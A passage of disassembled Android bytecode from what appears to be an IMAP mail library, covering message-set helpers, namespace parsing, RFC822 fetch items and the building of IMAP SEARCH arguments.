0000004E  invoke-virtual          Vector->addElement(Object)V, v1, v2
00000054  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000058  add-int/lit8            v0, v0, 0x1
0000005C  goto                    :C
:5E
0000005E  aget                    v3, p0, v0
00000062  add-int/lit8            v4, v0, 0xFFFFFFFFFFFFFFFF
00000066  aget                    v4, p0, v4
0000006A  add-int/lit8            v4, v4, 0x1
0000006E  if-ne                   v3, v4, :42
:72
00000072  add-int/lit8            v0, v0, 0x1
00000076  goto                    :3C
.end method

.method public static size([MessageSet)I
          .registers 4
00000000  const/4                 v0, 0x0
00000002  if-nez                  p0, :8
:6
00000006  return                  v0
:8
00000008  move                    v1, v0
:A
0000000A  array-length            v2, p0
0000000C  if-lt                   v0, v2, :14
:10
00000010  move                    v0, v1
00000012  goto                    :6
:14
00000014  aget-object             v2, p0, v0
00000018  invoke-virtual          MessageSet->size()I, v2
0000001E  move-result             v2
00000020  add-int/2addr           v1, v2
00000022  add-int/lit8            v0, v0, 0x1
00000026  goto                    :A
.end method

.method public static toString([MessageSet)String
          .registers 7
00000000  if-eqz                  p0, :A
:4
00000004  array-length            v0, p0
00000006  if-nez                  v0, :E
:A
0000000A  const/4                 v0, 0x0
:C
0000000C  return-object           v0
:E
0000000E  const/4                 v0, 0x0
00000010  new-instance            v1, StringBuffer
00000014  invoke-direct           StringBuffer-><init>()V, v1
0000001A  array-length            v2, p0
:1C
0000001C  aget-object             v3, p0, v0
00000020  iget                    v3, v3, MessageSet->start:I
00000024  aget-object             v4, p0, v0
00000028  iget                    v4, v4, MessageSet->end:I
0000002C  if-le                   v4, v3, :5C
:30
00000030  invoke-virtual          StringBuffer->append(I)StringBuffer, v1, v3
00000036  move-result-object      v3
00000038  const/16                v5, 0x3A
0000003C  invoke-virtual          StringBuffer->append(C)StringBuffer, v3, v5
00000042  move-result-object      v3
00000044  invoke-virtual          StringBuffer->append(I)StringBuffer, v3, v4
:4A
0000004A  add-int/lit8            v0, v0, 0x1
0000004E  if-lt                   v0, v2, :64
:52
00000052  invoke-virtual          StringBuffer->toString()String, v1
00000058  move-result-object      v0
0000005A  goto                    :C
:5C
0000005C  invoke-virtual          StringBuffer->append(I)StringBuffer, v1, v3
00000062  goto                    :4A
:64
00000064  const/16                v3, 0x2C
00000068  invoke-virtual          StringBuffer->append(C)StringBuffer, v1, v3
0000006E  goto                    :1C
.end method

.method public size()I
          .registers 3
00000000  iget                    v0, p0, MessageSet->end:I
00000004  iget                    v1, p0, MessageSet->start:I
00000008  sub-int/2addr           v0, v1
0000000A  add-int/lit8            v0, v0, 0x1
0000000E  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public Namespaces$Namespace
.super Object
.source ""

.field public delimiter:C
.field public prefix:String

.method public constructor <init>(Response)V
          .registers 6
00000000  const/16                v3, 0x29
00000004  const/16                v2, 0x22
00000008  invoke-direct           Object-><init>()V, p0
0000000E  invoke-virtual          Response->readByte()B, p1
00000014  move-result             v0
00000016  const/16                v1, 0x28
0000001A  if-eq                   v0, v1, :2E
:1E
0000001E  new-instance            v0, ProtocolException
00000022  const-string            v1, "Missing \'(\' at start of Namespace"
00000026  invoke-direct           ProtocolException-><init>(String)V, v0, v1
0000002C  throw                   v0
:2E
0000002E  invoke-virtual          Response->readString()String, p1
00000034  move-result-object      v0
00000036  invoke-static           BASE64MailboxDecoder->decode(String)String, v0
0000003C  move-result-object      v0
0000003E  iput-object             v0, p0, Namespaces$Namespace->prefix:String
00000042  invoke-virtual          Response->skipSpaces()V, p1
00000048  invoke-virtual          Response->peekByte()B, p1
0000004E  move-result             v0
00000050  if-ne                   v0, v2, :9E
:54
00000054  invoke-virtual          Response->readByte()B, p1
0000005A  invoke-virtual          Response->readByte()B, p1
00000060  move-result             v0
00000062  int-to-char             v0, v0
00000064  iput-char               v0, p0, Namespaces$Namespace->delimiter:C
00000068  iget-char               v0, p0, Namespaces$Namespace->delimiter:C
0000006C  const/16                v1, 0x5C
00000070  if-ne                   v0, v1, :82
:74
00000074  invoke-virtual          Response->readByte()B, p1
0000007A  move-result             v0
0000007C  int-to-char             v0, v0
0000007E  iput-char               v0, p0, Namespaces$Namespace->delimiter:C
:82
00000082  invoke-virtual          Response->readByte()B, p1
00000088  move-result             v0
0000008A  if-eq                   v0, v2, :FA
:8E
0000008E  new-instance            v0, ProtocolException
00000092  const-string            v1, "Missing \'\"\' at end of QUOTED_CHAR"
00000096  invoke-direct           ProtocolException-><init>(String)V, v0, v1
0000009C  throw                   v0
:9E
0000009E  invoke-virtual          Response->readAtom()String, p1
000000A4  move-result-object      v0
000000A6  if-nez                  v0, :BA
:AA
000000AA  new-instance            v0, ProtocolException
000000AE  const-string            v1, "Expected NIL, got null"
000000B2  invoke-direct           ProtocolException-><init>(String)V, v0, v1
000000B8  throw                   v0
:BA
000000BA  const-string            v1, "NIL"
000000BE  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000C4  move-result             v1
000000C6  if-nez                  v1, :F4
:CA
000000CA  new-instance            v1, ProtocolException
000000CE  new-instance            v2, StringBuilder
000000D2  const-string            v3, "Expected NIL, got "
000000D6  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000DC  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
000000E2  move-result-object      v0
000000E4  invoke-virtual          StringBuilder->toString()String, v0
000000EA  move-result-object      v0
000000EC  invoke-direct           ProtocolException-><init>(String)V, v1, v0
000000F2  throw                   v1
:F4
000000F4  const/4                 v0, 0x0
000000F6  iput-char               v0, p0, Namespaces$Namespace->delimiter:C
:FA
000000FA  invoke-virtual          Response->peekByte()B, p1
00000100  move-result             v0
00000102  if-eq                   v0, v3, :11E
:106
00000106  invoke-virtual          Response->skipSpaces()V, p1
0000010C  invoke-virtual          Response->readString()String, p1
00000112  invoke-virtual          Response->skipSpaces()V, p1
00000118  invoke-virtual          Response->readStringList()[String, p1
:11E
0000011E  invoke-virtual          Response->readByte()B, p1
00000124  move-result             v0
00000126  if-eq                   v0, v3, :13A
:12A
0000012A  new-instance            v0, ProtocolException
0000012E  const-string            v1, "Missing \')\' at end of Namespace"
00000132  invoke-direct           ProtocolException-><init>(String)V, v0, v1
00000138  throw                   v0
:13A
0000013A  return-void
.end method

#--------------------------------------------------------------------------------
.class public Namespaces
.super Object
.source ""

.field public otherUsers:[Namespaces$Namespace
.field public personal:[Namespaces$Namespace
.field public shared:[Namespaces$Namespace

.method public constructor <init>(Response)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-direct           Namespaces->getNamespaces(Response)[Namespaces$Namespace, p0, p1
0000000C  move-result-object      v0
0000000E  iput-object             v0, p0, Namespaces->personal:[Namespaces$Namespace
00000012  invoke-direct           Namespaces->getNamespaces(Response)[Namespaces$Namespace, p0, p1
00000018  move-result-object      v0
0000001A  iput-object             v0, p0, Namespaces->otherUsers:[Namespaces$Namespace
0000001E  invoke-direct           Namespaces->getNamespaces(Response)[Namespaces$Namespace, p0, p1
00000024  move-result-object      v0
00000026  iput-object             v0, p0, Namespaces->shared:[Namespaces$Namespace
0000002A  return-void
.end method

.method private getNamespaces(Response)[Namespaces$Namespace
          .registers 6
00000000  invoke-virtual          Response->skipSpaces()V, p1
00000006  invoke-virtual          Response->peekByte()B, p1
0000000C  move-result             v0
0000000E  const/16                v1, 0x28
00000012  if-ne                   v0, v1, :60
:16
00000016  new-instance            v1, Vector
0000001A  invoke-direct           Vector-><init>()V, v1
00000020  invoke-virtual          Response->readByte()B, p1
:26
00000026  new-instance            v0, Namespaces$Namespace
0000002A  invoke-direct           Namespaces$Namespace-><init>(Response)V, v0, p1
00000030  invoke-virtual          Vector->addElement(Object)V, v1, v0
00000036  invoke-virtual          Response->peekByte()B, p1
0000003C  move-result             v0
0000003E  const/16                v2, 0x29
00000042  if-ne                   v0, v2, :26
:46
00000046  invoke-virtual          Response->readByte()B, p1
0000004C  invoke-virtual          Vector->size()I, v1
00000052  move-result             v0
00000054  new-array               v0, v0, [Namespaces$Namespace
00000058  invoke-virtual          Vector->copyInto([Object)V, v1, v0
:5E
0000005E  return-object           v0
:60
00000060  invoke-virtual          Response->readAtom()String, p1
00000066  move-result-object      v0
00000068  if-nez                  v0, :7C
:6C
0000006C  new-instance            v0, ProtocolException
00000070  const-string            v1, "Expected NIL, got null"
00000074  invoke-direct           ProtocolException-><init>(String)V, v0, v1
0000007A  throw                   v0
:7C
0000007C  const-string            v1, "NIL"
00000080  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000086  move-result             v1
00000088  if-nez                  v1, :B6
:8C
0000008C  new-instance            v1, ProtocolException
00000090  new-instance            v2, StringBuilder
00000094  const-string            v3, "Expected NIL, got "
00000098  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000009E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
000000A4  move-result-object      v0
000000A6  invoke-virtual          StringBuilder->toString()String, v0
000000AC  move-result-object      v0
000000AE  invoke-direct           ProtocolException-><init>(String)V, v1, v0
000000B4  throw                   v1
:B6
000000B6  const/4                 v0, 0x0
000000B8  goto                    :5E
.end method

#--------------------------------------------------------------------------------
.class public RFC822DATA
.super Object
.source ""

.implements Item

.field static final name:[C
.field public data:ByteArray
.field public msgno:I

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x6
00000002  new-array               v0, v0, [C
00000006  fill-array-data         v0, :14
0000000C  sput-object             v0, RFC822DATA->name:[C
00000010  return-void
00000014  .array-data 2 x 0x6
              0x52
              0x46
              0x43
              0x38
              0x32
              0x32
          .end array-data
.end method

.method public constructor <init>(FetchResponse)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-virtual          FetchResponse->getNumber()I, p1
0000000C  move-result             v0
0000000E  iput                    v0, p0, RFC822DATA->msgno:I
00000012  invoke-virtual          FetchResponse->skipSpaces()V, p1
00000018  invoke-virtual          FetchResponse->readByteArray()ByteArray, p1
0000001E  move-result-object      v0
00000020  iput-object             v0, p0, RFC822DATA->data:ByteArray
00000024  return-void
.end method

.method public getByteArray()ByteArray
          .registers 2
00000000  iget-object             v0, p0, RFC822DATA->data:ByteArray
00000004  return-object           v0
.end method

.method public getByteArrayInputStream()ByteArrayInputStream
          .registers 2
00000000  iget-object             v0, p0, RFC822DATA->data:ByteArray
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, RFC822DATA->data:ByteArray
0000000C  invoke-virtual          ByteArray->toByteArrayInputStream()ByteArrayInputStream, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

#--------------------------------------------------------------------------------
.class public RFC822SIZE
.super Object
.source ""

.implements Item

.field static final name:[C
.field public msgno:I
.field public size:I

.method static constructor <clinit>()V
          .registers 1
00000000  const/16                v0, 0xB
00000004  new-array               v0, v0, [C
00000008  fill-array-data         v0, :14
0000000E  sput-object             v0, RFC822SIZE->name:[C
00000012  return-void
00000014  .array-data 2 x 0xB
              0x52
              0x46
              0x43
              0x38
              0x32
              0x32
              0x2E
              0x53
              0x49
              0x5A
              0x45
          .end array-data
.end method

.method public constructor <init>(FetchResponse)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  invoke-virtual          FetchResponse->getNumber()I, p1
0000000C  move-result             v0
0000000E  iput                    v0, p0, RFC822SIZE->msgno:I
00000012  invoke-virtual          FetchResponse->skipSpaces()V, p1
00000018  invoke-virtual          FetchResponse->readNumber()I, p1
0000001E  move-result             v0
00000020  iput                    v0, p0, RFC822SIZE->size:I
00000024  return-void
.end method

#--------------------------------------------------------------------------------
.class SearchSequence
.super Object
.source ""

.field private static cal:Calendar
.field private static monthTable:[String

.method static constructor <clinit>()V
          .registers 3
00000000  const/16                v0, 0xC
00000004  new-array               v0, v0, [String
00000008  const/4                 v1, 0x0
0000000A  const-string            v2, "Jan"
0000000E  aput-object             v2, v0, v1
00000012  const/4                 v1, 0x1
00000014  const-string            v2, "Feb"
00000018  aput-object             v2, v0, v1
0000001C  const/4                 v1, 0x2
0000001E  const-string            v2, "Mar"
00000022  aput-object             v2, v0, v1
00000026  const/4                 v1, 0x3
00000028  const-string            v2, "Apr"
0000002C  aput-object             v2, v0, v1
00000030  const/4                 v1, 0x4
00000032  const-string            v2, "May"
00000036  aput-object             v2, v0, v1
0000003A  const/4                 v1, 0x5
0000003C  const-string            v2, "Jun"
00000040  aput-object             v2, v0, v1
00000044  const/4                 v1, 0x6
00000046  const-string            v2, "Jul"
0000004A  aput-object             v2, v0, v1
0000004E  const/4                 v1, 0x7
00000050  const-string            v2, "Aug"
00000054  aput-object             v2, v0, v1
00000058  const/16                v1, 0x8
0000005C  const-string            v2, "Sep"
00000060  aput-object             v2, v0, v1
00000064  const/16                v1, 0x9
00000068  const-string            v2, "Oct"
0000006C  aput-object             v2, v0, v1
00000070  const/16                v1, 0xA
00000074  const-string            v2, "Nov"
00000078  aput-object             v2, v0, v1
0000007C  const/16                v1, 0xB
00000080  const-string            v2, "Dec"
00000084  aput-object             v2, v0, v1
00000088  sput-object             v0, SearchSequence->monthTable:[String
0000008C  new-instance            v0, GregorianCalendar
00000090  invoke-direct           GregorianCalendar-><init>()V, v0
00000096  sput-object             v0, SearchSequence->cal:Calendar
0000009A  return-void
.end method

.method constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method private static and(AndTerm, String)Argument
          .registers 6
00000000  invoke-virtual          AndTerm->getTerms()[SearchTerm, p0
00000006  move-result-object      v1
00000008  const/4                 v0, 0x0
0000000A  aget-object             v0, v1, v0
0000000E  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, v0, p1
00000014  move-result-object      v2
00000016  const/4                 v0, 0x1
:18
00000018  array-length            v3, v1
0000001A  if-lt                   v0, v3, :20
:1E
0000001E  return-object           v2
:20
00000020  aget-object             v3, v1, v0
00000024  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, v3, p1
0000002A  move-result-object      v3
0000002C  invoke-virtual          Argument->append(Argument)V, v2, v3
00000032  add-int/lit8            v0, v0, 0x1
00000036  goto                    :18
.end method

.method private static body(BodyTerm, String)Argument
          .registers 4
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  const-string            v1, "BODY"
0000000E  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000014  invoke-virtual          BodyTerm->getPattern()String, p0
0000001A  move-result-object      v1
0000001C  invoke-virtual          Argument->writeString(String, String)V, v0, v1, p1
00000022  return-object           v0
.end method

.method private static flag(FlagTerm)Argument
          .registers 9
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          FlagTerm->getTestSet()Z, p0
00000008  move-result             v3
0000000A  new-instance            v4, Argument
0000000E  invoke-direct           Argument-><init>()V, v4
00000014  invoke-virtual          FlagTerm->getFlags()Flags, p0
0000001A  move-result-object      v0
0000001C  invoke-virtual          Flags->getSystemFlags()[Flags$Flag, v0
00000022  move-result-object      v5
00000024  invoke-virtual          Flags->getUserFlags()[String, v0
0000002A  move-result-object      v6
0000002C  array-length            v0, v5
0000002E  if-nez                  v0, :48
:32
00000032  array-length            v0, v6
00000034  if-nez                  v0, :48
:38
00000038  new-instance            v0, SearchException
0000003C  const-string            v1, "Invalid FlagTerm"
00000040  invoke-direct           SearchException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  move                    v0, v1
:4A
0000004A  array-length            v2, v5
0000004C  if-lt                   v0, v2, :58
:50
00000050  array-length            v0, v6
00000052  if-lt                   v1, v0, :128
:56
00000056  return-object           v4
:58
00000058  aget-object             v2, v5, v0
0000005C  sget-object             v7, Flags$Flag->DELETED:Flags$Flag
00000060  if-ne                   v2, v7, :7E
:64
00000064  if-eqz                  v3, :78
:68
00000068  const-string            v2, "DELETED"
:6C
0000006C  invoke-virtual          Argument->writeAtom(String)V, v4, v2
:72
00000072  add-int/lit8            v0, v0, 0x1
00000076  goto                    :4A
:78
00000078  const-string            v2, "UNDELETED"
0000007C  goto                    :6C
:7E
0000007E  aget-object             v2, v5, v0
00000082  sget-object             v7, Flags$Flag->ANSWERED:Flags$Flag
00000086  if-ne                   v2, v7, :A0
:8A
0000008A  if-eqz                  v3, :9A
:8E
0000008E  const-string            v2, "ANSWERED"
:92
00000092  invoke-virtual          Argument->writeAtom(String)V, v4, v2
00000098  goto                    :72
:9A
0000009A  const-string            v2, "UNANSWERED"
0000009E  goto                    :92
:A0
000000A0  aget-object             v2, v5, v0
000000A4  sget-object             v7, Flags$Flag->DRAFT:Flags$Flag
000000A8  if-ne                   v2, v7, :C2
:AC
000000AC  if-eqz                  v3, :BC
:B0
000000B0  const-string            v2, "DRAFT"
:B4
000000B4  invoke-virtual          Argument->writeAtom(String)V, v4, v2
000000BA  goto                    :72
:BC
000000BC  const-string            v2, "UNDRAFT"
000000C0  goto                    :B4
:C2
000000C2  aget-object             v2, v5, v0
000000C6  sget-object             v7, Flags$Flag->FLAGGED:Flags$Flag
000000CA  if-ne                   v2, v7, :E4
:CE
000000CE  if-eqz                  v3, :DE
:D2
000000D2  const-string            v2, "FLAGGED"
:D6
000000D6  invoke-virtual          Argument->writeAtom(String)V, v4, v2
000000DC  goto                    :72
:DE
000000DE  const-string            v2, "UNFLAGGED"
000000E2  goto                    :D6
:E4
000000E4  aget-object             v2, v5, v0
000000E8  sget-object             v7, Flags$Flag->RECENT:Flags$Flag
000000EC  if-ne                   v2, v7, :106
:F0
000000F0  if-eqz                  v3, :100
:F4
000000F4  const-string            v2, "RECENT"
:F8
000000F8  invoke-virtual          Argument->writeAtom(String)V, v4, v2
000000FE  goto                    :72
:100
00000100  const-string            v2, "OLD"
00000104  goto                    :F8
:106
00000106  aget-object             v2, v5, v0
0000010A  sget-object             v7, Flags$Flag->SEEN:Flags$Flag
0000010E  if-ne                   v2, v7, :72
:112
00000112  if-eqz                  v3, :122
:116
00000116  const-string            v2, "SEEN"
:11A
0000011A  invoke-virtual          Argument->writeAtom(String)V, v4, v2
00000120  goto                    :72
:122
00000122  const-string            v2, "UNSEEN"
00000126  goto                    :11A
:128
00000128  if-eqz                  v3, :146
:12C
0000012C  const-string            v0, "KEYWORD"
:130
00000130  invoke-virtual          Argument->writeAtom(String)V, v4, v0
00000136  aget-object             v0, v6, v1
0000013A  invoke-virtual          Argument->writeAtom(String)V, v4, v0
00000140  add-int/lit8            v1, v1, 0x1
00000144  goto                    :50
:146
00000146  const-string            v0, "UNKEYWORD"
0000014A  goto                    :130
.end method

.method private static from(String, String)Argument
          .registers 4
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  const-string            v1, "FROM"
0000000E  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000014  invoke-virtual          Argument->writeString(String, String)V, v0, p0, p1
0000001A  return-object           v0
.end method

.method static generateSequence(SearchTerm, String)Argument
          .registers 4
00000000  instance-of             v0, p0, AndTerm
00000004  if-eqz                  v0, :16
:8
00000008  check-cast              p0, AndTerm
0000000C  invoke-static           SearchSequence->and(AndTerm, String)Argument, p0, p1
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  instance-of             v0, p0, OrTerm
0000001A  if-eqz                  v0, :2C
:1E
0000001E  check-cast              p0, OrTerm
00000022  invoke-static           SearchSequence->or(OrTerm, String)Argument, p0, p1
00000028  move-result-object      v0
0000002A  goto                    :14
:2C
0000002C  instance-of             v0, p0, NotTerm
00000030  if-eqz                  v0, :42
:34
00000034  check-cast              p0, NotTerm
00000038  invoke-static           SearchSequence->not(NotTerm, String)Argument, p0, p1
0000003E  move-result-object      v0
00000040  goto                    :14
:42
00000042  instance-of             v0, p0, HeaderTerm
00000046  if-eqz                  v0, :58
:4A
0000004A  check-cast              p0, HeaderTerm
0000004E  invoke-static           SearchSequence->header(HeaderTerm, String)Argument, p0, p1
00000054  move-result-object      v0
00000056  goto                    :14
:58
00000058  instance-of             v0, p0, FlagTerm
0000005C  if-eqz                  v0, :6E
:60
00000060  check-cast              p0, FlagTerm
00000064  invoke-static           SearchSequence->flag(FlagTerm)Argument, p0
0000006A  move-result-object      v0
0000006C  goto                    :14
:6E
0000006E  instance-of             v0, p0, FromTerm
00000072  if-eqz                  v0, :94
:76
00000076  check-cast              p0, FromTerm
0000007A  invoke-virtual          FromTerm->getAddress()Address, p0
00000080  move-result-object      v0
00000082  invoke-virtual          Address->toString()String, v0
00000088  move-result-object      v0
0000008A  invoke-static           SearchSequence->from(String, String)Argument, v0, p1
00000090  move-result-object      v0
00000092  goto                    :14
:94
00000094  instance-of             v0, p0, FromStringTerm
00000098  if-eqz                  v0, :B2
:9C
0000009C  check-cast              p0, FromStringTerm
000000A0  invoke-virtual          FromStringTerm->getPattern()String, p0
000000A6  move-result-object      v0
000000A8  invoke-static           SearchSequence->from(String, String)Argument, v0, p1
000000AE  move-result-object      v0
000000B0  goto                    :14
:B2
000000B2  instance-of             v0, p0, RecipientTerm
000000B6  if-eqz                  v0, :E0
:BA
000000BA  check-cast              p0, RecipientTerm
000000BE  invoke-virtual          RecipientTerm->getRecipientType()Message$RecipientType, p0
000000C4  move-result-object      v0
000000C6  invoke-virtual          RecipientTerm->getAddress()Address, p0
000000CC  move-result-object      v1
000000CE  invoke-virtual          Address->toString()String, v1
000000D4  move-result-object      v1
000000D6  invoke-static           SearchSequence->recipient(Message$RecipientType, String, String)Argument, v0, v1, p1
000000DC  move-result-object      v0
000000DE  goto                    :14
:E0
000000E0  instance-of             v0, p0, RecipientStringTerm
000000E4  if-eqz                  v0, :106
:E8
000000E8  check-cast              p0, RecipientStringTerm
000000EC  invoke-virtual          RecipientStringTerm->getRecipientType()Message$RecipientType, p0
000000F2  move-result-object      v0
000000F4  invoke-virtual          RecipientStringTerm->getPattern()String, p0
000000FA  move-result-object      v1
000000FC  invoke-static           SearchSequence->recipient(Message$RecipientType, String, String)Argument, v0, v1, p1
00000102  move-result-object      v0
00000104  goto                    :14
:106
00000106  instance-of             v0, p0, SubjectTerm
0000010A  if-eqz                  v0, :11E
:10E
0000010E  check-cast              p0, SubjectTerm
00000112  invoke-static           SearchSequence->subject(SubjectTerm, String)Argument, p0, p1
00000118  move-result-object      v0
0000011A  goto/16                 :14
:11E
0000011E  instance-of             v0, p0, BodyTerm
00000122  if-eqz                  v0, :136
:126
00000126  check-cast              p0, BodyTerm
0000012A  invoke-static           SearchSequence->body(BodyTerm, String)Argument, p0, p1
00000130  move-result-object      v0
00000132  goto/16                 :14
:136
00000136  instance-of             v0, p0, SizeTerm
0000013A  if-eqz                  v0, :14E
:13E
0000013E  check-cast              p0, SizeTerm
00000142  invoke-static           SearchSequence->size(SizeTerm)Argument, p0
00000148  move-result-object      v0
0000014A  goto/16                 :14
:14E
0000014E  instance-of             v0, p0, SentDateTerm
00000152  if-eqz                  v0, :166
:156
00000156  check-cast              p0, SentDateTerm
0000015A  invoke-static           SearchSequence->sentdate(DateTerm)Argument, p0
00000160  move-result-object      v0
00000162  goto/16                 :14
:166
00000166  instance-of             v0, p0, ReceivedDateTerm
0000016A  if-eqz                  v0, :17E
:16E
0000016E  check-cast              p0, ReceivedDateTerm
00000172  invoke-static           SearchSequence->receiveddate(DateTerm)Argument, p0
00000178  move-result-object      v0
0000017A  goto/16                 :14
:17E
0000017E  instance-of             v0, p0, MessageIDTerm
00000182  if-eqz                  v0, :196
:186
00000186  check-cast              p0, MessageIDTerm
0000018A  invoke-static           SearchSequence->messageid(MessageIDTerm, String)Argument, p0, p1
00000190  move-result-object      v0
00000192  goto/16                 :14
:196
00000196  new-instance            v0, SearchException
0000019A  const-string            v1, "Search too complex"
0000019E  invoke-direct           SearchException-><init>(String)V, v0, v1
000001A4  throw                   v0
.end method

.method private static header(HeaderTerm, String)Argument
          .registers 4
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  const-string            v1, "HEADER"
0000000E  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000014  invoke-virtual          HeaderTerm->getHeaderName()String, p0
0000001A  move-result-object      v1
0000001C  invoke-virtual          Argument->writeString(String)V, v0, v1
00000022  invoke-virtual          HeaderTerm->getPattern()String, p0
00000028  move-result-object      v1
0000002A  invoke-virtual          Argument->writeString(String, String)V, v0, v1, p1
00000030  return-object           v0
.end method

.method private static isAscii(String)Z
          .registers 6
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          String->length()I, p0
00000008  move-result             v2
0000000A  move                    v1, v0
:C
0000000C  if-lt                   v1, v2, :14
:10
00000010  const/4                 v0, 0x1
:12
00000012  return                  v0
:14
00000014  invoke-virtual          String->charAt(I)C, p0, v1
0000001A  move-result             v3
0000001C  const/16                v4, 0x7F
00000020  if-gt                   v3, v4, :12
:24
00000024  add-int/lit8            v1, v1, 0x1
00000028  goto                    :C
.end method

.method static isAscii(SearchTerm)Z
          .registers 5
00000000  const/4                 v2, 0x0
00000002  instance-of             v0, p0, AndTerm
00000006  if-nez                  v0, :12
:A
0000000A  instance-of             v0, p0, OrTerm
0000000E  if-eqz                  v0, :56
:12
00000012  instance-of             v0, p0, AndTerm
00000016  if-eqz                  v0, :32
:1A
0000001A  check-cast              p0, AndTerm
0000001E  invoke-virtual          AndTerm->getTerms()[SearchTerm, p0
00000024  move-result-object      v0
:26
00000026  move                    v1, v2
:28
00000028  array-length            v3, v0
0000002A  if-lt                   v1, v3, :40
:2E
0000002E  const/4                 v2, 0x1
:30
00000030  return                  v2
:32
00000032  check-cast              p0, OrTerm
00000036  invoke-virtual          OrTerm->getTerms()[SearchTerm, p0
0000003C  move-result-object      v0
0000003E  goto                    :26
:40
00000040  aget-object             v3, v0, v1
00000044  invoke-static           SearchSequence->isAscii(SearchTerm)Z, v3
0000004A  move-result             v3
0000004C  if-eqz                  v3, :30
:50
00000050  add-int/lit8            v1, v1, 0x1
00000054  goto                    :28
:56
00000056  instance-of             v0, p0, NotTerm
0000005A  if-eqz                  v0, :74
:5E
0000005E  check-cast              p0, NotTerm
00000062  invoke-virtual          NotTerm->getTerm()SearchTerm, p0
00000068  move-result-object      v0
0000006A  invoke-static           SearchSequence->isAscii(SearchTerm)Z, v0
00000070  move-result             v2
00000072  goto                    :30
:74
00000074  instance-of             v0, p0, StringTerm
00000078  if-eqz                  v0, :92
:7C
0000007C  check-cast              p0, StringTerm
00000080  invoke-virtual          StringTerm->getPattern()String, p0
00000086  move-result-object      v0
00000088  invoke-static           SearchSequence->isAscii(String)Z, v0
0000008E  move-result             v2
00000090  goto                    :30
:92
00000092  instance-of             v0, p0, AddressTerm
00000096  if-eqz                  v0, :2E
:9A
0000009A  check-cast              p0, AddressTerm
0000009E  invoke-virtual          AddressTerm->getAddress()Address, p0
000000A4  move-result-object      v0
000000A6  invoke-virtual          Address->toString()String, v0
000000AC  move-result-object      v0
000000AE  invoke-static           SearchSequence->isAscii(String)Z, v0
000000B4  move-result             v2
000000B6  goto                    :30
.end method

.method private static messageid(MessageIDTerm, String)Argument
          .registers 4
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  const-string            v1, "HEADER"
0000000E  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000014  const-string            v1, "Message-ID"
00000018  invoke-virtual          Argument->writeString(String)V, v0, v1
0000001E  invoke-virtual          MessageIDTerm->getPattern()String, p0
00000024  move-result-object      v1
00000026  invoke-virtual          Argument->writeString(String, String)V, v0, v1, p1
0000002C  return-object           v0
.end method

.method private static not(NotTerm, String)Argument
          .registers 5
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  const-string            v1, "NOT"
0000000E  invoke-virtual          Argument->writeAtom(String)V, v0, v1
00000014  invoke-virtual          NotTerm->getTerm()SearchTerm, p0
0000001A  move-result-object      v1
0000001C  instance-of             v2, v1, AndTerm
00000020  if-nez                  v2, :2C
:24
00000024  instance-of             v2, v1, FlagTerm
00000028  if-eqz                  v2, :3C
:2C
0000002C  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, v1, p1
00000032  move-result-object      v1
00000034  invoke-virtual          Argument->writeArgument(Argument)V, v0, v1
:3A
0000003A  return-object           v0
:3C
0000003C  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, v1, p1
00000042  move-result-object      v1
00000044  invoke-virtual          Argument->append(Argument)V, v0, v1
0000004A  goto                    :3A
.end method

.method private static or(OrTerm, String)Argument
          .registers 9
00000000  const/4                 v6, 0x0
00000002  const/4                 v2, 0x1
00000004  invoke-virtual          OrTerm->getTerms()[SearchTerm, p0
0000000A  move-result-object      v4
0000000C  array-length            v0, v4
0000000E  const/4                 v1, 0x2
00000010  if-le                   v0, v1, :E2
:14
00000014  aget-object             v0, v4, v6
00000018  move                    v1, v2
:1A
0000001A  array-length            v3, v4
0000001C  if-lt                   v1, v3, :A2
:20
00000020  check-cast              v0, OrTerm
00000024  invoke-virtual          OrTerm->getTerms()[SearchTerm, v0
0000002A  move-result-object      v0
:2C
0000002C  new-instance            v1, Argument
00000030  invoke-direct           Argument-><init>()V, v1
00000036  array-length            v3, v0
00000038  if-le                   v3, v2, :46
:3C
0000003C  const-string            v3, "OR"
00000040  invoke-virtual          Argument->writeAtom(String)V, v1, v3
:46
00000046  aget-object             v3, v0, v6
0000004A  instance-of             v3, v3, AndTerm
0000004E  if-nez                  v3, :5E
:52
00000052  aget-object             v3, v0, v6
00000056  instance-of             v3, v3, FlagTerm
0000005A  if-eqz                  v3, :BA
:5E
0000005E  aget-object             v3, v0, v6
00000062  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, v3, p1
00000068  move-result-object      v3
